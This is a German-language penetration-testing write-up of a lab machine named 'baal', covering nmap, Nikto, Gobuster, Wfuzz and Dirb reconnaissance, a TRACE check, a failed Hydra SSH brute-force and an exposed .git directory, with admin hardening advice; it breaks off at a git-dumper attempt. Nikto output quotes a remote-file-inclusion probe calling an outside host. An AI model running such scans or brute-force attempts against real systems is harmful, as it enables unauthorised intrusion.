Die Erkundungsphase beginnt mit einem benutzerdefinierten Skript, das Host-Entdeckung und initiale Scans durchführt.
127.0.0.1 localhost
192.168.2.118 baal.nyx
-
: ARP-Scan
192.168.2.118 08:00:27:d8:a8:4a PCS Systemtechnik GmbH
**Analyse:** Ein benutzerdefiniertes Skript `./recon_script.sh` wird auf das Ziel `baal.nyx` angewendet. Das Skript scheint zuerst die `/etc/hosts`-Datei zu modifizieren oder zu überprüfen, indem es `192.168.2.118` dem Namen `baal.nyx` zuordnet. Anschließend führt es einen ARP-Scan durch, der den Host `192.168.2.118` mit der MAC-Adresse `08:00:27:d8:a8:4a` (Oracle VirtualBox) im lokalen Netzwerk identifiziert.
**Bewertung:** Das Skript automatisiert die ersten grundlegenden Schritte: Hostname-Auflösung einrichten und das Ziel im lokalen Netz finden. Die IP-Adresse `192.168.2.118` und der Hostname `baal.nyx` sind nun für weitere Scans bekannt.
**Empfehlung (Pentester):** Sicherstellen, dass das Skript alle relevanten initialen Scans abdeckt. Die identifizierte IP und den Hostnamen als primäre Ziele verwenden. **Empfehlung (Admin):** Automatisierte Scan-Skripte können legitime Netzwerkaktivitäten sein. Sicherstellen, dass Intrusion Detection Systeme (IDS) korrekt konfiguriert sind, um zwischen normalem Scanverhalten und aggressiven Angriffen zu unterscheiden.
Es wird versucht, IPv6-Nachbarn zu finden und diese mit Nmap zu scannen.
# (Keine Ausgabe, Befehl wird in Variable cmd gespeichert)
**Analyse:** Dieser Befehl versucht, IPv6-Link-Local-Adressen (`fe80...`) aus der Neighbor-Tabelle (`ip neigh`) zu extrahieren. * `ip neigh`: Zeigt die ARP/NDP-Tabelle (IPv4/IPv6-Nachbarn). * `grep ^fe80`: Filtert nach Zeilen, die mit `fe80` beginnen (Link-Local IPv6). `2>/dev/null` unterdrückt Fehlermeldungen. * `grep -ve "..."`: Schließt bekannte oder irrelevante IPv6-Adressen aus (vermutlich andere Hosts im Netzwerk oder die eigene Adresse). Das Ergebnis wird in der Shell-Variable `cmd` gespeichert.
**Bewertung:** Ein cleverer Weg, um gezielt nach der Link-Local-IPv6-Adresse des Ziels zu suchen und bekannte andere Adressen herauszufiltern.
**Empfehlung (Pentester):** Diese Methode nutzen, um IPv6-Ziele in der Nachbarschaft effizient zu identifizieren. Sicherstellen, dass die Ausschlussliste (`grep -ve`) aktuell ist. **Empfehlung (Admin):** IPv6-Neighbor-Discovery ist ein normales Protokollverhalten. Überwachung auf ungewöhnliche Aktivitäten im IPv6-Bereich.
# (Keine Ausgabe, Befehl wird in Variable cmd2 gespeichert)
**Analyse:** Der Inhalt der Variable `cmd` (die gefilterten `ip neigh`-Zeilen) wird weiterverarbeitet: * `echo $cmd`: Gibt den Inhalt der Variable aus. * `awk '{print $1}'`: Extrahiert die erste Spalte (die IPv6-Adresse). * `sort -u`: Sortiert die Adressen und entfernt Duplikate. Das Ergebnis (die eindeutige(n) IPv6-Adresse(n)) wird in der Variable `cmd2` gespeichert.
**Bewertung:** Standard-Shell-Kommandos zur Datenextraktion und -bereinigung.
**Empfehlung (Pentester):** Solche Einzeiler sind nützlich, um Scan-Ziele dynamisch zu generieren. **Empfehlung (Admin):** Keine Aktion erforderlich.
IPv6 Scan - IPv6 Adresse: fe80::a00:27ff:fed8:a84a%eth0: Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 22:03 CEST Nmap scan report for baal (fe80::a00:27ff:fed8:a84a) Host is up (0.000088s latency). Not shown: 998 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:D8:A8:4A (racle VirtualBox virtual NIC)
**Analyse:** `nmap` wird mit der Option `-6` auf die in `$cmd2` gespeicherte IPv6-Adresse (vermutlich `fe80::a00:27ff:fed8:a84a`) ausgeführt. `%eth0` wird implizit durch nmap oder die Shell hinzugefügt, um die Link-Local-Adresse über die richtige Schnittstelle zu erreichen. Der Scan findet zwei offene TCP-Ports über IPv6: * **Port 22 (SSH)** * **Port 80 (HTTP)**
**Bewertung:** Der IPv6-Scan bestätigt, dass SSH und HTTP auch über IPv6 erreichbar sind. Dies liefert keine *neuen* Dienste im Vergleich zum späteren IPv4-Scan, bestätigt aber die Erreichbarkeit über beide Protokolle.
**Empfehlung (Pentester):** Beide Protokolle (IPv4 und IPv6) bei Angriffen berücksichtigen, falls sich Firewalls oder Konfigurationen unterscheiden. **Empfehlung (Admin):** Sicherstellen, dass Firewall-Regeln konsistent für IPv4 und IPv6 angewendet werden. SSH und HTTP über IPv6 absichern oder deaktivieren, falls nicht benötigt.
Ein UDP-Scan wird durchgeführt, um offene UDP-Dienste zu finden.
UDP Scan - Nmap UDP Scan : - Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 22:03 CEST Nmap scan report for 192.168.2.118 Host is up (0.00030s latency). Not shown: 994 open|filtered udp ports (no-response) PRT STATE SERVICE 1049/udp closed td-postman 1087/udp closed cplscrambler-in 5355/udp closed llmnr 19039/udp closed unknown 21016/udp closed unknown 21318/udp closed unknown MAC Address: 08:00:27:D8:A8:4A (racle VirtualBox virtual NIC)
**Analyse:** Ein Nmap UDP-Scan (`-sU`) wird auf die Top 1000 UDP-Ports (`--top-port 1000`) des Ziels `$IP` (192.168.2.118) durchgeführt. * `-T5`: Stellt die Timing-Vorlage auf "insane" für einen schnellen Scan. * `-n`: Deaktiviert die DNS-Auflösung. * `-Pn`: Überspringt die Host-Discovery (behandelt das Ziel als online). * `--min-rate 5000`: Sendet Pakete mit einer Mindestrate von 5000 pro Sekunde. Der Scan zeigt, dass die meisten Ports den Status `open|filtered` haben (keine Antwort erhalten, was bei UDP häufig vorkommt und bedeuten kann, dass der Port offen oder durch eine Firewall blockiert ist). Einige spezifische Ports werden als `closed` identifiziert (haben mit einer ICMP Port Unreachable Nachricht geantwortet).
**Bewertung:** Der UDP-Scan liefert keine eindeutig offenen Ports. Der Status `open|filtered` ist schwer zu interpretieren und erfordert oft spezifischere Tests. Es gibt keine unmittelbaren Hinweise auf verwundbare UDP-Dienste.
**Empfehlung (Pentester):** UDP-Scans sind zeitaufwendig und oft unzuverlässig. Wenn keine spezifischen UDP-Dienste erwartet werden, kann dieser Scan übersprungen oder mit geringerer Priorität behandelt werden. Bei Verdacht auf bestimmte Dienste (z.B. SNMP, NFS) gezielte Scans auf diese Ports durchführen. **Empfehlung (Admin):** Nicht benötigte UDP-Dienste deaktivieren und sicherstellen, dass die Firewall UDP-Verkehr gemäß den Richtlinien filtert.
Ein schneller TCP SYN-Scan wird durchgeführt, um nur die offenen Ports zu listen.
pen mit grep Scan : - Nmap nur offene Ports Ausgabe - 22/tcp open ssh penSSH 9.2p1 Debian 2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.55 ((Unix))
**Analyse:** Ein vollständiger TCP SYN-Scan (`-sS`, `-p-`) mit Skript-Scanning (`-sC`), Versionserkennung (`-sV`) und aggressiven Optionen (`-A`) wird durchgeführt. Die Ausgabe wird jedoch direkt durch `grep open` gefiltert, um nur die Zeilen anzuzeigen, die offene Ports enthalten. * `-sS`: TCP SYN-Scan (Stealth Scan). * `-p-`: Scannt alle 65535 TCP-Ports. * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. * `--min-rate 5000`: Für hohe Geschwindigkeit. * `| grep open`: Filtert die Ausgabe. Das Ergebnis zeigt die beiden offenen Ports: **22 (SSH)** und **80 (HTTP)**, zusammen mit den erkannten Diensten und Versionen.
**Bewertung:** Dies ist eine schnelle Methode, um einen Überblick über die offenen TCP-Ports und deren Hauptdienste zu erhalten. Es bestätigt die Ergebnisse des IPv6-Scans für TCP.
**Empfehlung (Pentester):** Diese Methode verwenden, wenn nur eine schnelle Liste offener Ports benötigt wird. Für detaillierte Analysen die vollständige Nmap-Ausgabe (ohne `grep`) prüfen. **Empfehlung (Admin):** Sicherstellen, dass nur benötigte TCP-Ports offen sind und die darauf laufenden Dienste aktuell und sicher konfiguriert sind.
Der vollständige TCP-Scan wird erneut ausgeführt, diesmal ohne Filterung, um alle Details zu sehen.
Port Scan - : Nmap volle Ausgabe - Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 22:04 CEST Nmap scan report for baal.nyx (192.168.2.118) Host is up (0.00017s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 3a:dc:d6:1d:84:b6:96:c0:8f:96:1e:65:a0:24:0e:fb (ECDSA) |_ 256 de:93:17:fb:3a:19:9c:e0:17:32:2d:a9:73:f7:c5:94 (ED25519) 80/tcp open http Apache httpd 2.4.55 ((Unix)) |_http-server-header: Apache/2.4.55 (Unix) |_http-title: Site doesn't have a title (text/html). | http-methods: |_ Potentially risky methods: TRACE MAC Address: 08:00:27:D8:A8:4A (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.17 ms baal.nyx (192.168.2.118)
**Analyse:** Die vollständige Ausgabe des Nmap-Scans liefert zusätzliche Details: * **Port 22 (SSH):** Läuft OpenSSH Version 9.2p1 (Debian). Die Host-Schlüssel (ECDSA, ED25519) werden angezeigt. * **Port 80 (HTTP):** Läuft Apache Version 2.4.55 (Unix). Die Seite hat keinen HTML-Titel. Wichtig: Die HTTP-Methode `TRACE` ist aktiviert, was auf eine potenzielle Anfälligkeit für Cross-Site Tracing (XST) hindeutet. * **Betriebssystem:** Linux (Kernel 4.x/5.x) wird bestätigt. * **Traceroute:** Zeigt nur einen Hop zum Ziel, was die direkte Erreichbarkeit im lokalen Netzwerk bestätigt.
**Bewertung:** Die detaillierte Ausgabe bestätigt die Dienste und Versionen. OpenSSH 9.2p1 ist relativ aktuell und hat keine bekannten kritischen Schwachstellen für einen direkten Einstieg. Apache 2.4.55 ist ebenfalls relativ aktuell, aber die aktivierte `TRACE`-Methode ist eine bekannte Schwachstelle (wenn auch oft mit geringer Auswirkung). Das Fehlen eines Seitentitels deutet auf eine einfache oder unfertige Webseite hin.
**Empfehlung (Pentester):** Die SSH-Version notieren, aber Angriffe zunächst auf den Webserver konzentrieren. Die aktivierte `TRACE`-Methode untersuchen (siehe Nikto-Scan-Analyse). Den Webserver weiter enumerieren (Verzeichnisse, Dateien, Parameter). **Empfehlung (Admin):** Die HTTP-Methode `TRACE` in der Apache-Konfiguration deaktivieren (`TraceEnable Off`), um XST-Angriffe zu verhindern. Sicherstellen, dass SSH sicher konfiguriert ist (z.B. Passwort-Authentifizierung deaktivieren, wenn möglich).
Ein SCTP INIT-Scan wird durchgeführt, um nach offenen SCTP-Ports zu suchen.
Host Scan : - Nmap Hostscan Ausgabe - Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 22:04 CEST Nmap scan report for 192.168.2.118 Host is up (0.00018s latency). All 65535 scanned ports on 192.168.2.118 are in ignored states. Not shown: 65504 filtered sctp ports (no-response), 31 filtered sctp ports (proto-unreach) MAC Address: 08:00:27:D8:A8:4A (racle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 26.53 seconds
**Analyse:** Ein Nmap SCTP INIT Scan (`-sY`) wird auf alle Ports (`-p-`) des Ziels durchgeführt. SCTP ist ein Transportprotokoll ähnlich wie TCP und UDP, wird aber seltener verwendet (hauptsächlich in der Telekommunikation). Der Scan zeigt, dass alle 65535 SCTP-Ports entweder `filtered (no-response)` oder `filtered (proto-unreach)` sind. Das bedeutet, es wurde kein offener SCTP-Port gefunden.
**Bewertung:** Es gibt keine Anzeichen für aktive SCTP-Dienste auf dem Zielsystem. Dieser Angriffsvektor ist nicht relevant.
**Empfehlung (Pentester):** SCTP-Scans können normalerweise übersprungen werden, es sei denn, es gibt spezifische Hinweise auf die Verwendung dieses Protokolls. **Empfehlung (Admin):** Sicherstellen, dass das SCTP-Protokoll auf Systemebene deaktiviert ist, wenn es nicht benötigt wird.
Der Webserver auf Port 80 wird nun mit Nikto genauer untersucht.
- Nikto Scan : - - Nikto v2.5.0 + Target IP: 192.168.2.118 + Target Hostname: 192.168.2.118 + Target Port: 80 + Start Time: 2024-09-09 22:04:39 (GMT2) + Server: Apache/2.4.55 (Unix) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: [Link: https://owasp.org/www-community/attacks/Cross_Site_Tracing | Ziel: https://owasp.org/www-community/attacks/Cross_Site_Tracing] +: Server banner changed from 'Apache/2.4.55 (Unix)' to 'Apache/2.4.54 (Debian)'. +/mod/image/index.php?config[pathMod]=http://blog.cirt.net/rfiinc.txt: Retrieved x-powered-by header: PHP/7.4.33. + 8101 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-09 22:04:56 (GMT2) (17 seconds) + 1 host(s) tested
**Analyse:** Nikto scannt den Webserver auf Port 80. * Bestätigt fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Bestätigt aktivierte `TRACE`-Methode und mögliche XST-Schwachstelle. * **Interessanter Fund 1:** Nikto meldet eine Änderung des Server-Banners von `Apache/2.4.55 (Unix)` (wie von Nmap gesehen) zu `Apache/2.4.54 (Debian)`. Dies könnte auf einen Reverse Proxy, Load Balancer oder eine Fehlkonfiguration hindeuten, bei der unterschiedliche Komponenten unterschiedliche Banner senden. * **Interessanter Fund 2:** Nikto versucht einen Remote File Inclusion (RFI)-Test gegen `/mod/image/index.php` mit dem Parameter `config[pathMod]`. Obwohl der RFI-Test selbst wahrscheinlich fehlschlägt (da `blog.cirt.net` eingebunden werden soll), zeigt die Antwort, dass dieser Pfad (`/mod/image/index.php`) existiert und PHP (Version 7.4.33) verwendet wird.
**Bewertung:** Nikto liefert hier wertvollere Hinweise als im vorherigen Bericht. Die Diskrepanz im Server-Banner ist merkwürdig und könnte auf eine komplexere Infrastruktur hindeuten. Die Existenz von `/mod/image/index.php` und die Verwendung von PHP 7.4.33 sind wichtige Informationen für weitere Angriffe. Die aktivierte TRACE-Methode bleibt ein geringfügiges Risiko.
**Empfehlung (Pentester):** Die Diskrepanz im Server-Banner weiter untersuchen (z.B. durch gezielte Anfragen an verschiedene Pfade). Den Pfad `/mod/image/index.php` genauer analysieren: Parameter-Fuzzing (insbesondere `config[pathMod]`), Prüfung auf andere Schwachstellen (LFI, SQLi, XSS). Die aktivierte `TRACE`-Methode mit `curl` testen. **Empfehlung (Admin):** `TraceEnable Off` setzen. Den Grund für die unterschiedlichen Server-Banner klären und konsistent gestalten. Den Code von `/mod/image/index.php` auf Schwachstellen überprüfen, insbesondere bezüglich der Verarbeitung des `config[pathMod]`-Parameters. PHP aktuell halten.
Gobuster wird verwendet, um nach Verzeichnissen und Dateien zu suchen.
: Gobuster Scan : http://192.168.2.118/index.html (Status: 200) [Size: 45] http://192.168.2.118/mod (Status: 301) [Size: 233] [--> http://192.168.2.118/mod/]
**Analyse:** Gobuster (`dir`-Modus) wird mit einer umfangreichen Wortliste (`directory-list-2.3-medium.txt`) und vielen Dateiendungen (`-x ...`) auf den Webserver losgelassen. Statuscodes 403, 404, 503 werden ignoriert (`-b`). Der Scan findet: * `/index.html`: Eine sehr kleine Datei (Size: 45). * `/mod`: Ein Verzeichnis, das auf `/mod/` weiterleitet (Status 301).
**Bewertung:** Der Scan bestätigt die Existenz des `/mod`-Verzeichnisses, das auch von Nikto durch den Pfad `/mod/image/index.php` impliziert wurde. Die kleine `index.html` ist wahrscheinlich nur eine Platzhalterseite. Das `/mod`-Verzeichnis ist das Hauptziel für weitere Web-Enumeration.
**Empfehlung (Pentester):** Das Verzeichnis `/mod/` genauer untersuchen. Einen weiteren Gobuster-Scan gezielt auf `http://192.168.2.118/mod/` laufen lassen. Die `/mod/image/index.php` von Nikto analysieren. **Empfehlung (Admin):** Sicherstellen, dass nur notwendige Verzeichnisse und Dateien über den Webserver erreichbar sind. Verzeichnislisting deaktivieren.
Verschiedene Fuzzing-Techniken werden mit Wfuzz angewendet, um Schwachstellen oder versteckte Endpunkte zu finden.
Fuzzing nach Subdomains mit Wfuzz.
Target: http://baal.nyx/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 114441
Filtered Requests: 114437
Requests/sec.: 0
**Analyse:** `wfuzz` wird verwendet, um nach Subdomains zu suchen. * `-c`: Farbige Ausgabe. * `-w ...`: Wortliste mit Subdomain-Namen. * `-u "http://baal.nyx"`: Basis-URL. * `-H "Host: FUZZ.baal.nyx"`: Modifiziert den Host-Header, indem `FUZZ` durch Einträge aus der Wortliste ersetzt wird. * `--hc "404"`: Versteckt Antworten mit Statuscode 404 (Not Found). * `--hh 45`: Versteckt Antworten mit 45 Chars im Response Body (dies entspricht der Größe der `index.html`, um die Standardantwort herauszufiltern). Der Scan findet keine gültigen Subdomains (keine Ausgabe in der Ergebnistabelle).
**Bewertung:** Das Fuzzing nach Subdomains war erfolglos. Es scheint keine weiteren virtuellen Hosts unterhalb von `baal.nyx` zu geben, die auf die gleiche IP zeigen und anders reagieren.
**Empfehlung (Pentester):** Subdomain-Fuzzing ist ein wichtiger Schritt, aber wenn es keine Ergebnisse liefert, zu anderen Enumerationstechniken übergehen. **Empfehlung (Admin):** DNS-Einträge und virtuelle Host-Konfigurationen sauber halten und keine unnötigen Subdomains definieren.
Fuzzing nach Parametern oder Pfaden unterhalb eines vermeintlichen `.git`-Verzeichnisses (basierend auf späterem Dirb-Fund).
Target: http://baal.vulnyx/mod/.git/HEAD/FUZZ
Total requests: 220607
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 220607
Filtered Requests: 220607
Requests/sec.: 0
**Analyse:** `wfuzz` wird erneut verwendet, diesmal um Pfade oder Parameter *innerhalb* des Pfades `/mod/.git/HEAD/` zu finden. Die URL `http://baal.vulnyx/mod/.git/HEAD/FUZZ` wird verwendet (der Hostname `baal.vulnyx` wird später in `/etc/hosts` hinzugefügt). * `-w ...directory-list...`: Wortliste für Pfade/Dateien. * `--hc 404,400`: Versteckt 404 (Not Found) und 400 (Bad Request) Antworten. * `--hh 156`: Versteckt Antworten mit 156 Chars (vermutlich eine spezifische Fehlerseite). Der Scan findet keine gültigen Pfade oder Parameter unterhalb von `/mod/.git/HEAD/`.
**Bewertung:** Dieser Fuzzing-Versuch war ebenfalls erfolglos. Der Pfad `/mod/.git/HEAD/` existiert wahrscheinlich nicht in dieser Form oder die Filter (`--hh 156`) waren zu restriktiv.
**Empfehlung (Pentester):** Sicherstellen, dass der Basispfad korrekt ist, bevor darin gefuzzt wird. Filter schrittweise anpassen, um sicherzustellen, dass keine validen Antworten übersehen werden. Das `.git`-Verzeichnis selbst (nicht `/HEAD/`) untersuchen. **Empfehlung (Admin):** Sicherstellen, dass `.git`-Verzeichnisse niemals über den Webserver erreichbar sind.
Fuzzing nach versteckten Dateien oder Verzeichnissen im Root-Verzeichnis.
Target: http://baal.nyx/FUZZ Total requests: 220607 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000002514: 301 7 L 20 W 228 Ch "mod" Total time: 0 Processed Requests: 220607 Filtered Requests: 220606 Requests/sec.: 0
**Analyse:** `wfuzz` sucht nach Dateien/Verzeichnissen direkt unter der Root-URL (`http://baal.nyx/FUZZ`). * `-w ...directory-list...`: Wortliste. * `--hc 404`: Versteckt Not Found. * `--hh 45`: Versteckt die Standardantwort (vermutlich `index.html`). Der Scan findet nur das bereits bekannte Verzeichnis `mod` (Status 301 Redirect).
**Bewertung:** Bestätigt das Ergebnis des Gobuster-Scans. Keine neuen Verzeichnisse oder Dateien im Root gefunden.
**Empfehlung (Pentester):** Fokus auf das `/mod`-Verzeichnis legen. **Empfehlung (Admin):** Keine neuen Erkenntnisse.
Fuzzing nach bekannten PHP-Backdoors innerhalb des `/mod`-Verzeichnisses.
Target: http://baal.nyx/mod/FUZZ
Total requests: 422
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0.254075
Processed Requests: 422
Filtered Requests: 422
Requests/sec.: 1660.925
**Analyse:** `wfuzz` sucht gezielt nach bekannten PHP-Backdoor-Dateinamen (`CommonBackdoors-PHP.fuzz.txt`) innerhalb des Verzeichnisses `/mod/` (`http://baal.nyx/mod/FUZZ`). Antworten mit 404 oder 45 Chars werden ignoriert. Der Scan findet keine der bekannten Backdoor-Dateien.
**Bewertung:** Keine offensichtlichen, bekannten PHP-Backdoors wurden im `/mod`-Verzeichnis gefunden.
**Empfehlung (Pentester):** Weiter nach benutzerdefinierten oder weniger bekannten Dateien/Parametern im `/mod`-Verzeichnis suchen. Die `/mod/image/index.php` von Nikto analysieren. **Empfehlung (Admin):** Regelmäßige Scans nach Backdoors und Malware durchführen.
Manuelle Untersuchung der `/mod/`-Seite.
Hello player, Please, insert your name as a parameter in the URL!
**Analyse:** Beim Aufruf von `http://192.168.2.118/mod/` im Browser erscheint eine Nachricht, die den Benutzer auffordert, einen Namen als URL-Parameter anzugeben. Dies deutet auf eine erwartete Eingabe wie `http://192.168.2.118/mod/?name=...` hin.
**Bewertung:** Dies ist ein klarer Hinweis auf eine dynamische Seite, die Benutzereingaben über URL-Parameter verarbeitet. Solche Eingabepunkte sind Hauptziele für Web-Schwachstellen wie XSS, SQLi, LFI/RFI oder Command Injection.
**Empfehlung (Pentester):** Verschiedene Parameter testen (z.B. `?name=`, `?file=`, `?id=`, `?ben=` wie im nächsten Schritt) und versuchen, Schwachstellen auszunutzen. Die von Nikto gefundene `/mod/image/index.php` könnte die verantwortliche Datei sein. **Empfehlung (Admin):** Benutzereingaben (insbesondere aus URL-Parametern) immer sorgfältig validieren und sanitisieren, um Code-Injection und andere Angriffe zu verhindern.
Testen der `TRACE`-Methode mit `curl` und einem benutzerdefinierten Parameter.
* Trying 192.168.2.118:80... * Connected to 192.168.2.118 (192.168.2.118) port 80 > TRACE /mod/?ben=id HTTP/1.1 > Host: 192.168.2.118 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Date: Mon, 09 Sep 2024 20:16:46 GMT Date: Mon, 09 Sep 2024 20:16:46 GMT < Server: Apache/2.4.55 (Unix) Server: Apache/2.4.55 (Unix) < Transfer-Encoding: chunked Transfer-Encoding: chunked < Content-Type: message/http Content-Type: message/http TRACE /mod/?ben=id HTTP/1.1 Host: 192.168.2.118 User-Agent: curl/8.8.0 Accept: */*
**Analyse:** `curl` wird verwendet, um eine `TRACE`-Anfrage an `http://192.168.2.118/mod/?ben=id` zu senden. * `-X TRACE`: Setzt die HTTP-Methode auf TRACE. * `-I`: Zeigt nur die Header der Antwort an. * `-v`: Zeigt detaillierte Informationen (Request und Response Header). Der Server antwortet mit `200 OK` und dem `Content-Type: message/http`. Der Body der Antwort (der hier aufgrund von `-I` nicht vollständig angezeigt wird, aber die letzten Zeilen deuten ihn an) enthält eine exakte Kopie des gesendeten Requests. Dies bestätigt, dass die `TRACE`-Methode aktiv ist.
**Bewertung:** Die `TRACE`-Methode funktioniert wie erwartet. Dies ermöglicht theoretisch Cross-Site Tracing (XST)-Angriffe, bei denen ein Angreifer über ein clientseitiges Skript (z.B. JavaScript) eine `TRACE`-Anfrage an den Server senden kann, um z.B. HTTP-Only-Cookies auszulesen, die im gesendeten Request enthalten sind. Die praktische Ausnutzbarkeit ist jedoch oft durch Browser-Sicherheitsmechanismen eingeschränkt.
**Empfehlung (Pentester):** Das XST-Risiko notieren, aber die Priorität auf andere potenzielle Schwachstellen (wie Parameter-Injection im `/mod`-Verzeichnis) legen, da XST oft schwer auszunutzen ist. **Empfehlung (Admin):** `TraceEnable Off` in der Apache-Konfiguration setzen, um diese geringfügige Schwachstelle zu schließen.
Versuch, sich per SSH mit Hydra und dem vermuteten Benutzernamen `player` anzumelden.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) starting at 2024-09-09 22:19:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344481 login tries (l:1/p:14344481), ~224133 tries per task
[DATA] attacking ssh://baal.nyx:22/
[ERROR] target ssh://192.168.2.118:22/ does not support password authentication (method reply 4).
**Analyse:** `hydra` wird verwendet, um einen Brute-Force-Angriff auf den SSH-Dienst zu starten. * `-l player`: Versucht den Login mit dem Benutzernamen `player` (vermutlich abgeleitet aus der "Hello player"-Nachricht auf der Webseite). * `-P /usr/share/wordlists/rockyou.txt`: Verwendet die `rockyou.txt`-Wortliste für Passwörter. * `ssh://baal.nyx`: Gibt das Ziel und das Protokoll an. * `-t 64`: Verwendet 64 parallele Threads (Hydra warnt, dass dies für SSH zu hoch sein könnte). Der Angriff scheitert sofort mit der Fehlermeldung `[ERROR] target ssh://192.168.2.118:22/ does not support password authentication`. Der SSH-Server ist so konfiguriert, dass er keine Passwort-Logins akzeptiert.
**Bewertung:** Der SSH-Brute-Force-Versuch ist fehlgeschlagen, da der Server nur Schlüssel-Authentifizierung erlaubt. Dies ist eine gute Sicherheitspraxis. Der Benutzername `player` konnte nicht validiert werden.
**Empfehlung (Pentester):** SSH-Brute-Force abbrechen. Sich darauf konzentrieren, einen gültigen privaten SSH-Schlüssel zu finden (z.B. durch LFI/RFI auf dem Webserver) oder einen anderen Angriffsvektor zu finden. **Empfehlung (Admin):** Passwort-Authentifizierung für SSH deaktiviert lassen (`PasswordAuthentication no` in `sshd_config`) und nur Schlüssel-Authentifizierung verwenden. Die Verwendung starker Schlüssel und deren sichere Verwaltung sind entscheidend.
Dirb wird verwendet, um nach weiteren Verzeichnissen und Dateien zu suchen, insbesondere innerhalb von `/mod/`.
- Entering directory: http://baal.nyx/mod/ - + http://baal.nyx/mod/.git/HEAD (CODE:200|SIZE:151) + http://baal.nyx/mod/.svn/entries (CODE:200|SIZE:151) + http://baal.nyx/mod/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:164) + http://baal.nyx/mod/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:164) + http://baal.nyx/mod/_vti_bin/shtml.dll (CODE:200|SIZE:155) + http://baal.nyx/mod/cgi-bin/ (CODE:200|SIZE:154) + http://baal.nyx/mod/CVS/Entries (CODE:200|SIZE:150) + http://baal.nyx/mod/CVS/Repository (CODE:200|SIZE:150) + http://baal.nyx/mod/CVS/Root (CODE:200|SIZE:150) + http://baal.nyx/mod/index.html (CODE:200|SIZE:95) ---- DOWNLOADED: 9224 - FOUND: 11 ----
**Analyse:** `dirb` (ein weiterer Directory-Bruteforcer) wird auf `http://baal.nyx` angesetzt. Dirb folgt standardmäßig Weiterleitungen und scannt daher auch das Verzeichnis `/mod/`. Innerhalb von `/mod/` findet Dirb mehrere interessante Einträge, die auf Versionskontrollsysteme oder alte Webtechnologien hindeuten: * `/.git/HEAD`: **Wichtiger Fund!** Dies deutet auf ein exponiertes Git-Repository hin. * `/.svn/entries`: Deutet auf ein Subversion-Repository hin. * `/_vti_...`: Deutet auf Microsoft FrontPage Server Extensions hin. * `/cgi-bin/`: Standardverzeichnis für CGI-Skripte. * `/CVS/...`: Deutet auf ein CVS-Repository hin.
**Bewertung:** Das exponierte `.git`-Verzeichnis ist der vielversprechendste Fund. Git-Repositories enthalten oft den gesamten Quellcode, die Historie und manchmal auch sensible Informationen wie Zugangsdaten oder Konfigurationsdateien. Die anderen Funde (`.svn`, `_vti_`, `CVS`) sind weniger wahrscheinlich relevant für eine moderne Anwendung, könnten aber in bestimmten Fällen ebenfalls Informationen preisgeben.
**Empfehlung (Pentester):** Das exponierte `.git`-Verzeichnis mit spezialisierten Tools wie `git-dumper` oder `GitTools` herunterladen und analysieren, um den Quellcode und die Historie zu extrahieren. **Empfehlung (Admin):** **Dringend** sicherstellen, dass Verzeichnisse von Versionskontrollsystemen (`.git`, `.svn`, `CVS`) niemals über den Webserver erreichbar sind. Diese sollten aus dem Web-Root entfernt oder der Zugriff darauf blockiert werden (z.B. über `.htaccess` oder die Server-Konfiguration).
Versuch, das gefundene `.git`-Verzeichnis mit `git-dumper` herunterzuladen.
Warning: Destination '.' is not empty [-] Testing http://baal.nyx/mod/.git/HEAD [200] [-] http://baal.nyx/mod//.git/HEAD responded with HTML
